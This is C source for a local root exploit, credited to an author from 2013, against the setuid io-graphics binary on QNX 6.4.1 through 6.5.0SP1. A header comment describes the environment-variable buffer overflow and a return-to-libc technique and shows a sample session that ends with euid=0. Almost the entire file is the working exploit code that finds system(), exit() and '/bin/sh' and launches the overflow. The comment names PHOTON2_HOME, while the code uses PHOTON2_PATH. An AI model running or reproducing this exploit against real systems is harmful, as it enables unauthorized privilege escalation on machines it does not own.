/*
* QNX 6.5.0 x86 io-graphics local root exploit by cenobyte 2013
* <vincitamorpatriae@gmail.com>
*
* - vulnerability description:
* Setuid root /usr/photon/bin/io-graphics on QNX is prone to a buffer overflow.
* The vulnerability is due to insufficent bounds checking of the PHOTON2_HOME
* environment variable.
*
* - vulnerable platforms:
* QNX 6.5.0SP1
* QNX 6.5.0
* QNX 6.4.1
*
* - not vulnerable:
* QNX 6.3.0
*
* - exploit information:
* This is a return-to-libc exploit that yields euid=0. The addresses of
* system() and exit() are retrieved from libc using dlsym().
*
* The address of /bin/sh is retrieved by searching from address 0xb0300000.
*
* - example:
* $ uname -a
* QNX localhost 6.5.0 2010/07/09-14:44:03EDT x86pc x86
* $ id
* uid=100(user) gid=100
* $ ./qnx-io-graphics
* QNX io-graphics 6.5.0 x86 local root exploit by cenobyte 2013
* [-] system(): 0xb031bd80
* [-] exit(): 0xb032b5f0
* [-] /bin/sh: 0xb0374412
* # id
* uid=100(user) gid=100 euid=0(root)
*
*/
#include <dlfcn.h>
#include <err.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define VULN "PHOTON2_PATH="
static
void
fail(
void
);
static
void
checknull(unsigned
int
addr);
static
unsigned
int
find_string(
char
*s);
static
unsigned
int
find_libc(
char
*syscall);
void
checknull(unsigned
int
addr)
{
if
(!(addr & 0xff) || \
!(addr & 0xff00) || \
!(addr & 0xff0000) || \
!(addr & 0xff000000))
errx(1,
"return-to-libc failed: "
\
"0x%x contains a null byte"
, addr);
}
void
fail(
void
)
{
printf
(
"\n"
);
errx(1,
"return-to-libc failed"
);
}
unsigned
int
find_string(
char
*string)
{
unsigned
int
i;
char
*a;
printf
(
"[-] %s: "
, string);
signal
(SIGSEGV, fail);
for
(i = 0xb0300000; i < 0xdeadbeef; i++) {
a = i;
if
(
strcmp
(a, string) != 0)
continue
;
printf
(
"0x%x\n"
, i);
checknull(i);
return
(i);
}
return
(1);
}
unsigned
int
find_libc(
char
*syscall)
{
void
*s;
unsigned
int
syscall_addr;
if
(!(s = dlopen(NULL, RTLD_LAZY)))
errx(1,
"error: dlopen() failed"
);
if
(!(syscall_addr = (unsigned
int
)dlsym(s, syscall)))
errx(1,
"error: dlsym() %s"
, syscall);
printf
(
"[-] %s(): 0x%x\n"
, syscall, syscall_addr);
checknull(syscall_addr);
return
(syscall_addr);
return
(1);
}
int
main()
{
unsigned
int
offset = 429;
unsigned
int
system_addr;
unsigned
int
exit_addr;
unsigned
int
binsh_addr;
char
env[440];
char
*prog[] = {
"/usr/photon/bin/io-graphics"
,
"io-graphics"
, NULL };
char
*envp[] = { env, NULL };
printf
(
"QNX 6.5.0 x86 io-graphics local root exploit by cenobyte 2013\n\n"
);
system_addr = find_libc(
"system"
);
exit_addr = find_libc(
"exit"
);
binsh_addr = find_string(
"/bin/sh"
);
memset
(env, 0xEB,
sizeof
(env));
memcpy
(env, VULN,
strlen
(VULN));
memcpy
(env + offset, (
char
*)&system_addr, 4);
memcpy
(env + offset + 4, (
char
*)&exit_addr, 4);
memcpy
(env + offset + 8, (
char
*)&binsh_addr, 4);
execve(prog[0], prog, envp);
return
(0);
}